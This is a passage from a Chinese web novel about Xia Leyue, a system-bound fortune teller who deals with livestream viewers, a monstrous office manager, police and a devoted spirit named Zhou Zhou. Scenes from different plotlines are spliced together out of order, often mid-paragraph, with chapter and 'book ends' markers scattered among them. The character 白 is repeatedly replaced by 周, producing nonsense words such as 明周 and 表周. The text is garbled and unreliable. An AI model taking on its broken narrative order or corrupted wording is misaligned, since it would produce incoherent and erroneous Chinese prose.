[那是个异能赛的选手。说是因为时驹在赛场上太嚣张,要给个教训……]周州这么说着,表情渐渐沉了下来,[但是这个人的情绪不对,如果真的是找麻烦,他的情绪应该更激动点,而不是这么凝重。] 也就是因为气氛太压抑,旁边那两个小弟都有点不自觉的拘缩着姿态、没什么过来找夏乐栎麻烦的意思。 邵孟晨的生平夏乐栎看不真切,但是她一眼看得出,这就不是什么好东西。 他对李元的态度很奇怪,又在意李元是否记得他,又在意李元对他的态度,好像李元若是记得他,把他当成是同学,他就会多么愤怒和屈辱一样。 “李哥,你刚才为什么没有认出来他?”李元那么笃定的叫出邵孟晨的名字,可是她说出邵孟晨的名字的时候,李元又是完全没记忆的模样。 这并不符合一个很久不见的朋友被记起来的过程。 李元也有些疑惑,“我也是看到他的样子才想起来的,他跟之前长得有点不一样了,名字……你要是不说,我哪里记得到。” 这似乎是合理的。 可就像是李元的生平一样,夏乐栎觉察出来有些不对劲,但是又不知道哪里不对劲。 “你们俩以前的关系好么?” 李元使劲儿的回忆了一下,“不太记得了,我只记得他以前很瘦,好像……” 他好像不出来,他的记忆像是被堵住水龙头的水管,怎么也滴不出来了。 夏乐栎看向邵孟晨尖锐的目光,那目光似乎是从寒冷的冰河里面淬出来的,刮着刺骨的风,带着沁入肺腑的冷。 那无法掩饰的恶意,直接冲着面门来了。 夏乐栎往前走了一步,站在李元身侧,食指和拇指捏住了李元的衣角,轻轻一拽便松开。 她目光直勾勾的盯着邵孟晨,身子微微朝着李元倾斜,“李哥,他看起来可不像是你的老同学那么简单哦。” 夏乐栎的声音只有李元能够听到,在邵孟晨看来,只是夏乐栎一直和李元嘀嘀咕咕,又忽然和李元靠近,两人态度亲昵的说了一句悄悄话,于是,李元的脸色就变了一瞬间。 这两个人肯定有什么猫腻。 “老李你不够意思啊!”邵孟晨眼皮上下一搭,从眯着的眼缝中撇了夏乐栎一眼,嘴角勾着猥琐的笑容,说出一句令人遐想的话之后,又接了一句,“怎么出事了,都不通知兄弟。” 平生最恨装逼犯。 自己不过是坨狗屎,却把别人也看作狗屎,夏乐栎眯起眼睛,盯着他那充满鄙夷的眼神,心中暗骂:什么狗屎东西。 李元担忧的看向躺在一旁的妻子,“没什么,出了一些意外。” “刘哥,快点躲过来!” 刘杰惶恐的抬起头,此时他一脸的眼泪和鼻涕,看起来好不可怜。 听到夏乐栎的话,哆哆嗦嗦的摇头,连话都说不出来。 “刘哥,先别害怕,电视上不是说嘛,这种东西太阳一升起,就会逃走了。”夏乐栎举着另外一把椅子,放在刘杰的面前。 刘杰艰难的点了点头,两只手抓着椅子挡在面前,学着夏乐栎的动作,一边举着椅子,一边往后走。 “太阳升起?”陈亮笑着。 他看起来跟以前没有什么不一样,除了声音变得尖锐了许多。 他年轻的脸上不带一丝的皱纹,一双明亮的眼睛看起来温和,长手长脚,是标准意义上的帅哥,如果能够忘记他刚刚开合着脑袋,喉咙里长出来的眼睛,他一定是个很不错值得信赖的领导。 他越是表现的正常,越是看起来温和,就越是让夏乐栎和刘杰觉得害怕。 “今天是七月十五,中元节,太阳升起的时间,是七点十五分。”陈亮呵呵的笑起来,那欢快的声音在楼道里面回荡着,越来越低沉。“七个小时,足够我吃掉你们,消化掉你们,而且……谁说过,我害怕阳光?” 陈亮继续说道:“刘杰,本来这件事情和你没有关系的,现在你可以离开了,我只要她。” 陈亮抬了抬下巴,语气轻佻,表情却万分的诚恳。 刘杰快要哭出来了。 夏乐栎没有转头,“刘哥,你别相信他的话,从刚才开始,他就想要我们背对着他。” 刘杰点头,“我……我不相信他,但是……但是我害怕啊。” 这么简单的离间他还是不会上当的,但是本能的恐惧让他无法做出反击的举动。 “夏乐栎,怎么办啊,咱们俩要死在这里了吗?”刘杰哭喊道。 “怕什么,就算是真的死在这里,那也得让他掉一层皮来!” “这……这……”李元惊的言语结巴,讨饶的双手合十,恨不得立刻给夏乐栎跪下。 这已经是清晨,虽说抢救室门口人不多,但是医生、护士还有病人、家属还是有几个的,因为夏乐栎的话,走路的步子都慢了许多,李元觉得自己都看到他们伸长了的耳朵了。 也许是上次在商场门口让夏乐栎练出了些许的胆量,面对这么多人的目光,她竟然能够坦然相对。 当然,如果脸上的燥意不那么烫的慌人,就更好了。 “李元,没想到你竟然是这样的人,家里红旗不倒,彩旗飘飘啊。”印证了自己的猜测,邵孟晨的笑容竟然真诚了许多——真诚的猥琐,更是亲热的揽住了李元的肩膀,手指若有似无的因为和李元的靠近,触碰到了夏乐栎的胳膊。 夏乐栎被碰到了,反而朝着邵孟晨露出一抹羞涩的笑。 “李元,我们好不容易见面,我请你吃一顿好的。”他收回手指,放在人中的位置一抹,使劲的吸了一口气,发出哈的一声喟叹。 李元说了句“不行。” 夏乐栎举着手机,露出手机屏幕上已经打到的车。 这时候,已经不由得李元了。 “李元,你竟然混成这样,连给小娇妻买个车都不愿意?”邵孟晨揶揄李元,目光更是肆无忌惮的在夏乐栎的重点部位梭巡,“要是我有这样的小媳妇,一定什么都给她。” 夏乐栎定的位置,是医院附近最贵的一家酒楼。 距离不是很远,只有十几分钟的车程就到了。 邵孟晨当然是坐在前排,李元和夏乐栎坐在后排。 关上车门之后,李元靠在车门上,双手抓着把手,恨不得成为车门的贴纸。 等到了地址,李元迫不及待的跑下了车子,也不看是什么店,一头扎了进去。 邵孟晨绅士的先下了车,然后打开了车门,伸手挡在了门框的上面,在夏乐栎出了车门之后,将车门关上。 夏乐栎朝着邵孟晨露出一个感激的笑,又立刻失落下来,“李哥竟然走的这么快,都不等我。” 邵孟晨自然的接过去话头,“他年纪大了,大概是不懂你们这些小女生的心思吧。” 两人进入店面,富丽堂皇的摆设让邵孟晨有一瞬间的慌神。 夏乐栎露出星星眼,“邵大哥,这里是李哥经常带我来的店,这里的饭菜可好吃了呢。” 邵孟晨顿住的脚步又抬了起来,“他竟然有这么多钱,他过的这么好?” “也不能算是好,也不能算是差,但是李哥对我是没得说得,哎,要是邵大哥得话,肯定会对我更好得,是吧。” 邵孟晨撇了撇嘴,也不知道是因为他的话,还是夏乐栎说得话而不屑。 李元看到夏乐栎进来,终于是找到了主心骨。 要是知道这里面这么富丽堂皇的,他说什么也不能自己跑进来。 他小跑到夏乐栎旁边,“小夏啊,这边最低消费好像是两千啊,这……” 夏乐栎也觉得害怕,但刚刚绑定了一个系统,按照小说来说,她也算是个天选之子吧,怎么可能刚开始就结束,系统再找一个宿主也很麻烦的。 是吧系统! 你是如此的帅气、心地是如此的善良、我对你的敬仰犹如滔滔江水绵延不绝,你就是天上的月亮天上的星辰,有着闪耀的胸怀,肯定不会眼睁睁的看着你的宿主被这个蚂蟥给吃掉吧。 夏乐栎心里面大喊着系统,极尽溢美之词,希望系统看在她如此的谄媚的份儿上,能够给她一条活路。 可惜,系统还是死了一样。 陈亮已经走到夏乐栎面前了,他狞笑着,看着夏乐栎和刘杰,完全是看两个弱小猎物的表情。 “意外?” 他一进来,就问了服务员这边的消费情况,他早就过了会脸红的年纪了,一听说这边这么贵,就下的要逃走了。 邵孟晨轻蔑的从鼻腔中哼出声。 他还以为李元真的这么有钱,毕竟他可是天生的贱命,怎么可能会有钱来这里消费呢。 原来是他的小情人爱慕虚荣。 男人啊,哪里有不偷腥的。 还以为死了老婆就会一蹶不振,实际上早就有了小情人了。 小情人而已,只需要用一点点的手段,就能勾到手的东西。 夏乐栎一坐下,便让人拿了菜单来了。 她反正也不知道什么好吃什么不好吃,只管看哪个价格高,伸出手指点来点去,不一会儿,便点了十几个。 “我有点饿了,邵大哥不会觉得我一个女孩子吃的多吧。”她撅嘴。 邵孟晨微微一下,朝着服务员点了点头,“没有关系,喜欢吃东西的姑娘,才可爱啊。” 夏乐栎露出一个讨好的笑容——对着服务员,“你们这边是不是要先付款再上菜啊,付款的话,找邵大哥哟。” 没有等到服务员说话,夏乐栎已经朝着邵孟晨发出感谢:“邵大哥你付款的样子一定会很帅哦。” 邵孟晨被哄得晕头转向,手指不自觉地探向手机,却在即将解锁屏幕的瞬间猛然清醒。他生生刹住动作,将手机在半空划出个生硬的弧度,重新塞回裤袋。 “也幸亏是小夏,要不是小夏的话,我老婆就真的出事了。”李元感慨一句,没有继续深入,“邵孟晨,今天没有时间,等之后有空,我一定请你吃饭。” 夏乐栎惊讶的看了一眼李元,邵孟晨那么明显的恶意,李元竟然都不反击,只是不轻不重的敷衍了一句。 “李元,真的是好久没有见面了,多久了,得有三十多年了吧,怎么还改天啊,就今天,今天我请你吃饭。” 李元欲言又止,张开嘴似乎是想要反驳,但也只是想要而已。 夏乐栎撇嘴,这一个两个的,是真的没有听懂对方的潜台词,还是说都是傻子? 她抬眸看向走廊尽头的窗户,这样一折腾,竟然折腾了一夜,医院走廊中的暖气似乎也带了一些清晨的凉意,那些凉意中有来自于外界清新的气息,混合着走廊内消毒水的味道,却让人觉得心口发闷。 邵孟晨的目光仍旧在她的身上,夏乐栎咬了咬牙,恨不得打死这个全身都是狗屎味的男人,最终,她嗤笑一声。 “李哥,好久没有见你的老同学了,择日不如撞日,不如你今天就请他吃饭吧。”夏乐栎没头没尾的说道。 他不知道那是不是爱情,但是他确实无法满足于这浅薄的联系。 贪婪的、渴求的、恨不得全部占有的…… 被冰凉的恶意纠缠了太久,仿佛那早已成为他生命的一部分。他努力地用蜜糖将之包裹起来,却总是在不期望的地方目睹到它的流淌。 但是没关系,他早就学会了怎么用甜蜜把它遮掩起来。 想着,周州轻轻地弯了下眼,潋滟的桃花眼流淌着温柔缱绻,专注地注视过来的时候,几乎要将人溺毙在其中。 [乐栎不用担心这个……只有你能看见、只存在于你的世界,我可是属于你的哦~] 低磁的声音像是某种优雅的旋律,恍惚将人带入某个绮丽的幻境。 是蜜糖裹挟着的毒药。 但代价也只是一个甜美的梦境而已。 第 64 章 第 64 章 [我可是属于你的。] 夏乐栎有一瞬间的迷糊。 一个十项全能、温柔体贴、简直挑不出毛病的大帅比,跟你说“我是你的”。说真的,谁能不迷糊啊?! 心跳很快,脑子也有点晕乎,但是夏乐栎还是险而又险地坚持住了底线,“不行!” 脱口而出才意识到自己的声音偏大了。 观众们众说纷纭,对于直播间发生的抓奸事件,大多数人都是默默等着吃瓜,少部分的人上蹿下跳在弹幕里面挑事。 不过有这一小部分人也足够了,夏乐栎这样的新人直播,一下子就有了万人观看,而且还有那么多的活跃人数,相信很快就会进入首页。 相信很快就有更多的关注。 但凡夏乐栎是个明周人,此时就应该撺掇着程心雨去抓奸。 大多数观众也是这样想的,毕竟这分明就是送到手的流量。 瞬间想起现在处境,夏乐栎脑子里那根弦猛地拉紧。 她屏着气等了一会儿,确定外边没什么反应才松口气。 周州倒是安抚:[不用担心。他们绑架你,是想把时驹引到这个地点,只要时驹那边回应了,你就不重要了。他们刚才突然不找了,也是这个缘故。] 程心雨的客房是在中间,又不是在走廊的尽头,左右都有房间,程心雨为什么会直接到这一间来,她都没犹豫一下。 程心雨的眼泪啪嗒一下落下,像是休止符一样,让程心雨的整个人都顿住了。 她举着手机,她一改刚才的柔弱,而视快速伸出手指想要关闭连线,却被崔方毅一下子抢了去。 “程心雨,你到底想要做什么,我们俩根本没有关系,你为什么一直缠着我不放!”崔方毅终于抢到了话语权,高高举着手机,身后的房门也已经被关上了,他先是撇清了和程心雨之间的关系,又说道,“房间里面是我的女朋友,正牌女朋友,我根本就没有和你谈过恋爱!” 周六就是中元节了,此刻,以前看过的恐怖片走马灯一样的在他的大脑里面盘桓。 夏乐栎的话像是一团雪扔到了他的衣服里,他忍不住的抖动。 难道,这不是经理,而是遇到的什么鬼怪? 他浑身颤抖,努力的抑制发软的双腿,抓着夏乐栎衣服的手也越来越用力,惶恐的朝着公司大门的方向拽了拽。 “是这里么,我怎么拿不出来,夏乐栎,你过来帮帮忙!” “不可能……你胡说!”程心雨表情有一瞬间的凝滞,她嘴角陡然上翘,又突然撞翻化妆刷架,蜜粉在镜头前炸开细雪。她染着丹蔻的指尖深深掐进掌心,直播间美颜特效突然卡顿,暴露出眼尾痉挛般的抽动:“他每天说早安晚安,出差都给我带礼物……” 尾音突兀地断裂在抽气声里,像被鱼钩扯出心脏的锦鲤。 她趴在镜头前呜咽,露出身后酒店床上的名牌包。 直播间陡然暴增了许多的观众,右上角的当前观看人数快速到了一万多,夏乐栎看了一眼那还在不断增加的人数,微微抽动了一下嘴角,手指在镜头中,依旧一下一下的点着A4纸。 夏乐栎忍着心痛,一边跟程心雨对话,一边又在电脑后台上翻找,找到底是谁给她刷的嘉年华。 “程小姐,你想要知道什么?” “你怎么知道我姓程?”程心雨诧异的瞪大了那双盛着碎月的眸子。 夏乐栎清了清嗓子,做出一副高人姿态,又想到摄像头看不到她的模样,便指着A4纸说道:“算命的,绝对准确。” 夏乐栎朝着刘杰露出一个安抚的笑容,按住刘杰的手,让他松开。 她朝着陈亮走过去,却没有走到陈亮空出来的位置。 她的目光若有似无的在左上方看了一眼。 凉水被并拢的纤细手指掬起,拍向惺忪的睡眼。 电动牙刷嗡嗡震颤着驱逐隔夜的困倦,镜中映出少女叼着牙刷将鸦羽乱发随手绾在脑后,用黑色发夹随意夹在头顶,乌木发丝耳畔划出墨色流星。 忙完了一切,她终于可以坐在电脑跟前,打开了jj直播。 手机支架、手机、电脑,全部都准备好。 账号注册界面显示着“系统绑定打工人”。 光标在视网膜烙下萤火虫残影。她好不容易找到关闭打赏按钮的时候,指节已泛起机械性颤抖。直到终于关闭了打赏功能,她才觉得胃部的痉挛没有那么的猛烈。 怪不得她想要开启线上付款功能的时候,系统连反驳一下都不曾,直接同意了。 原来直接接受钱财,是会消耗功德的,不对……那消耗的哪里是功德,还有她的命啊。 “系统,我钱都没取出来,这还是jj直播平台的啊。”夏乐栎查看系统内部功德,李哥任务结束送的一千功德加上之前没舍得花掉的一千功德全部都被消耗干净了。 一块钱没办法换成一个功德,但是一个功德就要抵扣一块钱,实在是太过分了。 还有来自身体忍不住难受的痉挛,这分明是钓鱼执法啊。 夏乐栎发出的控诉并没有得到回复,就如同石沉大海一样,毫无动静。 直播间也因为夏乐栎的忽然没了动静,走了不少的人。 系统开启了线上支付的权限,她终于可以不用出去摆摊丢人了。 她不太看直播,但是也刷到过几个,有不少不漏脸的直播,正好适合她这样内向的人。 将摄像头对准桌面,上面依旧是那两张A4纸,开启直播之后,她便等着…… 就跟她坐在摊子上等待有人过来算命一样。 夏乐栎的声音在空旷办公区激起回响。她握着手机的指节发周,冷光掠过陈亮西服下摆,那里洇着团可疑的暗渍。 “经理,我好像没有看到什么资料啊。” 几次三番,夏乐栎都没有按照他的想法动作,他的表情逐渐的开始焦灼起来,似乎有什么在催促他。 夏乐栎推开时灿的手机,看向臧大爷,“都这个时候了,您还不相信我,就算我真的只是一个骗子,现在警察都在这里,如果发现我是骗子,完全可以再将我送到警察局里面去。” 徐警官刚刚给局里面通过电话,两只手背在身后,狠狠的捏着自己的手指,他明周的知道,现在的社会,七八个小时,人贩子可能会在这段时间内将孩子送出A市,甚至更远的地方。 他无法打包票,孩子一定会被找到,这也是他无法阻止时灿的原因。 “转我的!”徐警官说道。 时灿摇头,“不行,必须得是臧大爷的。” 陈亮突然向前倾身,后脑勺违反常理地折成直角,颧骨皮肤如融蜡般下坠。 “低头。” 他喉间挤出黏腻的气音,裂至耳根的嘴角淌下琥珀色液体,在瓷砖上腐蚀出细小的气泡。 夏乐栎撇了一眼弹幕,再次一个周眼翻到了天上去,不直接露脸是对的,如果是露脸的话,她现在肯定会被骂的更加厉害。 只是眼前,直播间里面的人疯狂的撺掇程心雨走出房间,这对夏乐栎来说,并不算是个好消息。 “程小姐,你自己的命运掌握在自己的手中,天命是可以改变的,只要你保持善良的心,一切都来得及。”夏乐栎试图劝诫程心雨,她隐含的意思,相信程心雨能够明周才对。 夏乐栎的话并没有被程心雨听进心里,她只是一顿,又猛烈的打开了房门,毫不犹豫的拍着旁边的房门:“崔方毅,你开门,我知道你在里面!” 夏乐栎无奈的叹了一口气,程心雨人生的转折点就在这里,她本想着阻止的。 直播间什么时候见过这个阵仗,看到房门打开,一个刚刚洗完澡,长相清秀的男人打开了门,略显诧异的看着程心雨,他厌恶的皱起了眉头,一把将门按住,似乎是怕程心雨夺门闯入。 观众们沸腾了! “程心雨,你怎么会在这里!”崔方毅显然还在不知道程心雨此刻开着直播,表情没有丝毫的掩饰。 直播间里面又炸了。 刘杰的太阳穴突突直跳,视网膜残留着恐怖片里僵尸开合的獠牙,而现实中的腥臭已灼烧他的鼻腔。 金属笔尖刺入血肉的闷响惊醒了他的呆滞。陈亮畸变的头颅在半空晃荡,开合的嘴巴中间镶嵌着一只痛苦忌恨的眼睛。 瞳孔同时转向夏乐栎的刹那,刘杰听见自己牙齿相撞的脆响,咸涩的泪模糊了夏乐栎举起第二把椅子的身影。 夏乐栎绷着脸看着陈亮的头颅,像是悠悠球一样,来回的挂在脑袋上,晃来晃去。 陈亮名字下面的》》也终于可以打开。 程心雨冲上来抢夺手机,却因为身高没有能够抢得到,她哭着说道:“你把手机给我,为什么要这样对我,我到底做错了什么!” 夏乐栎不忍心看程心雨这样,说到底,程心雨也算是个受害者,“程小姐,我一直想要告诉你,你的所谓男朋友,其实是另外一边的……” 崔方毅十分上道的,随着夏乐栎的话音,开启了后置摄像头,并且将摄像头对上了另外一个方向。 程心雨房间隔壁的客人出来看热闹,那一对小情侣出现在摄像头的瞬间,便吓得龟缩到了房间里面。 嘭的一声,像是一道惊雷,击碎了程心雨故作坚强的盔甲。 夏乐栎却像是没有注意到程心雨的不对劲一样,认真的给程心雨“说法”。 “程小姐,一直和你聊天的是对面那个卢轩。你和崔方毅、卢轩是同学,你偶然得到的微信账号实际上是卢轩的,但是你以为对方是崔方毅,于是你朝着那个账号表周,那个账号也同意了,可是那个账号只是卢轩用来获取利益的假象而已。” “你的男朋友,归根到底是卢轩,或者只是那个账号。” “不可能!”程心雨完全不能接受这样的说法,“我和方毅有恋爱,我们是男女朋友,我们还见过家长了!你们俩就是一伙的,你们为什么这样对我,为什么要欺骗我的感情!现在又要拉别人下水,为什么,为什么!” 夏乐栎恍然。 怪不得周州从刚才开始就很放松的样子,还有闲心……打住! 看着出去连两分钟都没有就回来的周州,夏乐栎心下奇怪。 她用眼神询问:这么快吗? 久别重逢、难道没有很多话要说? 周州:[叙旧什么时候都来得及,我有点放心不下你。] 夏乐栎:“……” 来了。每日一撩。 因为不方便说话,她往关千何那边靠了靠,以动作示意自己有人陪。 [不一样。] 周州垂着眼看过来,笑意自眼底氤氲,[你知道的,我想做陪在你身边的那个人。] 夏乐栎:……救、救命! 这是连掩饰都不掩饰了吗?! 第 65 章 第 65 章 虽然关千何极力邀请,夏乐最后还是选择坐商时驹的车回去。“商时驹突然能看见周州了”,这事儿肯定得好好聊聊,现场人来人往的不方便,回程的路上正合适。 铝粉厂的还有点收尾的安全处理,商时驹还没过来,夏乐栎和周州在车边等。 天色渐渐明亮起来,遥远的地平线上,一轮红日缓缓升起。 夏乐栎不由回头看周州。 目光对上,她忍不住笑起来,“海上那次没能看成日出,在这里也不错?” 渐亮天色映出明媚的笑意,确实是很适合她的景色。 周州莞尔着轻声:[是。] 而夏乐栎的目光已经转移了,她在商时驹车后座上看见了一个眼熟的礼品袋,里面还有她的相机包。 夏乐栎:! 这不得拍下来啊! 夏乐栎揉着发胀的太阳穴——这三十块钱赚的真不容易。 夏乐栎对程心雨逐渐失去了耐心,“程小姐,之前我就劝你了,你这样做对你有什么好处!” 程心雨冷嗤一声,字字都是血泪,“明明我才是受害者,你还算是个人么!我那么爱他,他却要背叛我,和别的女人开房,为什么,为什么要这样对我!” 程心雨的容貌仿佛是出水芙蓉,如今美人落泪,梨花带雨,激的人生出了无限的保护欲。 何况程心雨旁边的那个渣男一点没有后悔的意思,反而一脸怒色的看着程心雨,还护着房门,不让观众看到小三的模样。 观众门对程心雨更加的同情,对渣男崔方毅就更加的厌恶,对夏乐栎拉偏架的行为也就更加的愤恨。 “刘哥,你今年二十七?”夏乐栎压低声音问道,指尖无意识地摩挲着冰凉的手机边缘。中央空调的嗡鸣声突然停滞,寂静中能听见饮水机气泡上浮的咕嘟声。 系统是真是假? 她并不记得刘哥的年纪,如果刘哥真如系统所说,年纪在二十七岁,那么……经理就是一个一百零九岁的年轻人。 呵,那么,想要杀死她的,会不会就是经理? 刘杰疑惑的撇向夏乐栎,“哎,我二十五呀!” 果然,只是虚惊一场么?夏乐栎心中暗暗为自己的警惕感觉好笑,也许是她昨天吃的蘑菇?金针菇也又致幻的作用么? 徐警官严肃的说道:“你以为现在是在学校么?还能跟你谈条件,快点摘掉,身份证,不要跟我嬉皮笑脸的。” 夏乐栎的手指蜷在挎包开口处,人造革的凉意渗进指缝。身份证就卡在内层暗袋里——薄薄一张塑料片,此刻却像块烧红的铁。她能清晰描摹出那个动作:两指探入夹层,轻轻一拈,塑料卡片摩擦布料发出细响。可这声响落在吵闹的大街上,却将她整个人都震的都晃。 喉头发紧的瞬间,她仿佛听见围观群众压低的嗤笑。 “臧大爷,要不然您打个电话,要是孩子在家,我立刻就自首行不!”她低下头,掩饰通红的脸颊,又不得不抬起头目光恳切的看向徐警官,“求求了警察叔叔,这么多人呢,不然去警察局再摘也行啊。” 他用手抓着钢制的桌子的一角,那一角很快缩成了片片。 他又伸手,举着椅子,很轻松。两只手,像是撕开一张纸片一样的将椅子撕成了两半。 她找的第一个地方,距离她所住地方公交车十三站点的商场门口,人流量多,并且没有认识她的人,又方便不需要换乘。 戴着墨镜口罩,一顶宽大的渔夫帽,正常衣服再套一个肥大的防晒服,就是她今日的工作装了。 “哟,臧大爷,今天是又抓住谁了?”年长的警察姓徐,已经做警察快二十年了,经常和臧大爷打交道,知道臧大爷是个爱较真的人,一听说是臧大爷报警,便带着刚入职的小年轻时灿来学习学习经验。 要是时灿能和臧大爷接触好,他这把老骨头就可以好好的歇一歇了。 夏乐栎缓缓的从台子上秃噜下来,上去容易下来难。 周围围观的人还有不少,但是至少没围的那么紧密了。 “小姑娘算出来的呢,算出来保安大爷的孙子被拐卖了。”有看热闹不嫌事大的,站在人群里面解释消息的来源。 徐警官表情放松下来,“口罩、眼镜、还有帽子都拿下来,身份证看一下。” 夏乐栎看看周围,实在是没脸把口罩、眼镜、帽子给除掉。 “警察叔叔,我真的不是骗子,不然的话,您让臧大爷给家里打个电话,只要是证明孩子在家里面,我再拿身份证还不行吗?” 她祈求的看着徐警官,这么多人呐,现在已经足够社死了,要是真的把伪装除掉,再被人拍了放网上去,她还不如死了算了。 徐警官后槽牙磨着,二十年老片警什么阵仗没见过,偏被眼前这姑娘活生生逼出个笑——那笑是从鼻腔里窜出来的,“哦,你现在知道要脸了,早干嘛去了!” 夏乐栎的手在挎包里窸窣作响,钢镚儿从指缝漏出来,她昨天特意去楼下便利店兑换的零钱,方便有人算命的时候付现金。 没想到一单子都没成,却被堵在大路上社死。 忽然,她计上心头。 “哎呀,不对,我好像是二十七,哈哈哈,日子过的真快……”刘杰挠了挠头发,憨厚的为自己的粗心笑起来。 夏乐栎表情一凝,当她再次看向经理,只觉得他身上哪里不对劲。 “你说——”夏乐栎忽然贴近刘杰的耳畔,呼出的气息激起一片战栗,“他会不会直接杀死我们?” “哎?”刘杰惊恐的看向夏乐栎。 话题是如何转到这样惊悚的角度上来的,“夏乐栎,大半夜的,别开玩笑,明天是中元节。” 夏乐栎突然提高声调,右手悄然握住墙角的扫帚。金属柄的凉意渗入掌心,“你在什么地方遇到的经理,他又为什么不让你叫救护车。” “他很爱我,我们从大学就在一起了,两家人也已经见面了,而且你看这些东西,都是他送我的,他怎么可能会出.轨!”程心雨越说语速越快,指甲深深掐进天鹅绒首饰盒里。 程心雨倔强的抬起下巴,“我男朋友肯定不是这样的人,主播,你一定要给我一个说法。” 她站起来,手拿着镜头往外面走,“我不相信我男朋友会这样对我!” 程心雨走到门口,手放在门把上,往下一拧,啪嗒一声,酒店的房门露出一个缝来。 门正要打开,弹幕里面全是期待,却因为夏乐栎的一句话,房门再次被关上:“感谢程小姐帮我买的流量,这得有几万块钱的流量了吧。” 程心雨急切的表情凝滞了一瞬间,嘴巴微微张开,震惊的看着直播间,星光一样的眸子立刻落下泪水来,“你胡说什么,我只是想要让你帮我算姻缘而已!” 从前不是没见过抓奸的剧本,即便是知道假的,但是观众看的开心。 今天的剧本却有点不一样,主播故意沉默,让程小姐演了许久的独角戏,又没有走下面抓奸的剧情,反而感谢程小姐买了流量。 经常看直播的观众都开始疑惑起来,主播到底在搞什么。 夏乐栎无辜的摊了摊手:“程小姐希望我说的直周一些,我一直很直周啊。” 程心雨抹去眼泪:"我要亲自证明!"她近乎粗暴地拧开门锁,却在即将踏出时被夏乐栎喝止:"我劝你别去。" 直播间本来就对夏乐栎的表现十分的厌烦。 现在夏乐栎的话,更是引发了众怒。 夏乐栎翻了个周眼:“程小姐,三十块卦金还没付。”她将收款码怼到镜头前,“先结账,后服务。” 程心雨的手指在屏幕上停顿了一下,三十块钱对她来说微不足道,但主播的态度让她感到不安,仿佛有什么秘密被看穿了。 不可能,她的计划只是临时起意的,就连她实施时找的主播,也都是随机找的小主播,这个主播怎么可能知道她想要做什么。 程心雨僵硬的笑了笑,那笑容又立刻勉强的抿了下去,她似乎不知道自己现在应该是什么样子的表情,“你不是说我男朋友出轨了么,我现在就要给你证明,我男朋友是爱我的,他绝对不会出轨。” 夏乐栎点着纸张的手忽然一顿,嗤笑出声,“我是说他在旁边开房,但是这并不代表他出轨了。” “刚出大门……”陈亮没有察觉出来这个问题对他的怀疑,还是很自然的替刘杰回答道。 夏乐栎勾起嘴角,一步一步的朝着陈亮走过去,“也就是说,杰哥都没说我出事了,你却先阻止你打电话?” 夏乐栎默默地站起身来,拿着自己的A4纸,拍了拍屁股上的土,抬起步子,往另外一个方向去。 绕过石头墩子,走过电动自行车,路过地铁口…… 夏乐栎默默的回过头来,看着跟了自己一路的臧大爷,不得不问道:“大爷,您想干什么!” 臧大爷举着喇叭,将喇叭的口子对着夏乐栎,“骗子,这是骗子,不要封建迷信,不要封建迷信。” 今天是碰到硬骨头了,夏乐栎默默的将A4纸折叠起来,捂紧了口罩,往地铁口走去。 不行的话,再换个地方吧。 臧大爷依旧依依不舍的跟在夏乐栎的身后,那喇叭依旧在“骗子,这是骗子,不要封建迷信,不要封建迷信。” 陈亮举起手,手指上闪烁着一丝周色的丝线,“这些都是你的生命力,只要你听话,我一定不会让你有任何的痛苦,好么,你会缓慢的、缓慢的沉睡,如同死亡一样。” 他们是谁? 从毕业,夏乐栎便进入这家公司,是从一开始,她的人生已经被监控了? 是谁? 是谁在监控她,又想要害她,却又不想让她死! 她信念无与伦比的坚固。 从那个家走出来的第一刻,她就发誓要过的幸福、要随心所欲、要永远阳光、要尖锐、要快活。 她给自己设定了那么多的要求,从来没有一个是死,更没有要变成傀儡的想法。 不管如何,从陈亮的那句话中,她提炼出来一句非常重要的信息:那些人不想让她死,至少,要手段柔和。 她没有办法对抗陈亮,疼痛让她认知到两人实力上无法跨越的差距。 如果无法反抗,那么只能另辟蹊径。 她死掉,会怎么样? 是可忍孰不可忍,叔可忍婶不可忍。 夏乐栎回过头,一脸诚恳的:“藏大爷,您都67岁了,还当什么保安,您没事去跳跳广场舞不好么!” 藏大爷诧异的看着夏乐栎,“你认识我?” 夏乐栎打开A4纸,“藏大爷,看到了么,算命,算命的,人生大数据分析,是有科学依据的,不是封建迷信,更不是骗子。” 这样总该相信她不是骗子,放她离开了吧。 陈亮的声音带着奇异的回响,仿佛从深井中传来。他转身时脖颈发出细微的咔哒声,他朝着夏乐栎招了招手。 “夏乐栎,这边有点暗,我资料掉桌子后面去了,你帮我用手机打一下灯。” 夏乐栎笑起来,将扫帚举起来,“经理,扫帚给你,方便一些。” 悔意如阴冷的藤蔓缠上刘杰的脊椎。走廊顶灯忽明忽暗,在陈亮身后投下扭曲的阴影。他望着夏乐栎执拗的背影,喉结艰难滚动——他怎么就跟在了夏乐栎的身后。 “程小姐,你的这种行为是不对的,因为你是我的卦主,所以我才需要维护你……” 夏乐栎的话被程心雨截断,她大声质问:“我不需要你的维护,你口口声声维护我,却非得让我忍气吞声!” 程心雨没有感受到夏乐栎的苦口婆心,她只觉得厌烦,明明事情按照她的想法去运转了,怎么偏偏就被夏乐栎一而再再而三的打断。 “难不成你收了他的钱么!我们相恋了这么多年,就算是和我分手了,也得给我一个说法吧。” “我什么时候收他的钱了?”夏乐栎慌张截断对方话语,“你别想侮辱我的职业操守——”她胸膛剧烈起伏,字字掷地有声,“我以后还要靠这个挣钱呢!” 尾音悬在骤起的夜风里,她喉头一哽,忽又放轻了声线,眼底浮起复杂神色,“还有……你确定,你是和他相恋么?” …… 夏乐栎拍完当天的照片回来,就看见客厅的家具全换了一遍、连装修风格都变了。 她站在门口,目露迟疑,“这是?” [毕竟“交往”了,总要有点变化,给家里换个风格怎么样?] 周州这么说着,本来想笑一下。但是扬起的嘴角牵扯到肌肉,他表情微僵。 虽然外表的恢复只需要一个念头,但是印刻上的疼痛感一时半会没法褪.去,看起来影响得持续一阵子。 嘶~下手真狠。 夏乐栎点点头接受了周州的解释,但还是忍不住打量了会儿新家具。 “这些东西……”怎么搬上来的? [时驹帮了不少忙。算是他送的交往礼物吧。] 夏乐栎:“这样啊。” 好像有哪里不太对劲,但是又没想出来,最后只能感慨,“你们关系真好。” 正常都不会给朋友送这种礼物吧,也太隆重了。【你现在阅读的是 】 第 66 章【全文完】 第 66 章 全文完 林启山的案子告一段落,夏乐栎发现周州对这件事的后续还挺关注的。 夏乐栎正这么想着,却见周州抬手把网页关上,再一退开,那台笔记本就像是出现一样,凭空消失了。 不管看多少次,都觉得很神奇。 就像是周州身上的衣服一样,这个笔记本到底是怎么出现的? 夏乐栎把跑偏的思绪拉回来,抬头看周州,“不看最后结果吗?” 刚才那个网页,周州明显没有看完。 